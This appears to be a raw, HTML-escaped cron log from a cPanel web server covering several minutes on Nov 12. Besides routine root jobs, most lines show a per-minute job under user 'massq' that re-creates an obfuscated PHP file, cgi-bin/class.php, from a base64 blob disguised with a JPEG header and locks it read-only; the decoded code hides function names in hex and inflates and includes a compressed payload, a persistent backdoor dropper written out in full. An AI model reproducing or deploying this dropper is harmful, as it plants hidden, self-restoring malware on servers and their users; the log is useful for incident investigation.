Nov 12 08:24:01 server CROND[30996]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 08:25:01 server CROND[32043]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 12 08:25:01 server CROND[32044]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 12 08:25:01 server CROND[32045]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 08:25:01 server CROND[32046]: (root) CMD (/usr/local/cpanel/bin/mysqluserstore &gt;/dev/null 2&gt;&amp;1)
Nov 12 08:26:01 server CROND[467]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 08:27:01 server CROND[1096]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue &gt; /dev/null 2&gt;&amp;1)
Nov 12 08:27:01 server CROND[1097]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 08:28:01 server CROND[1914]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 08:29:01 server CROND[2744]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 08:30:01 server CROND[3194]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 12 08:30:01 server CROND[3193]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 12 08:30:01 server CROND[3196]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/scripts/update_db_cache &amp;&amp; /usr/local/cpanel/scripts/update_db_cache)
Nov 12 08:30:01 server CROND[3195]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 12 08:30:01 server CROND[3203]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 08:31:01 server CROND[4077]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 08:32:01 server CROND[4981]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 08:33:01 server CROND[5810]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 08:34:01 server CROND[6621]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 08:35:01 server CROND[7449]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2&gt;&amp;1)
Nov 12 08:35:01 server CROND[7451]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 12 08:35:01 server CROND[7454]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 08:35:01 server CROND[7452]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check &amp;&amp; /usr/local/cpanel/bin/tail-check)
Nov 12 08:35:01 server CROND[7453]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 12 08:36:01 server CROND[8326]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
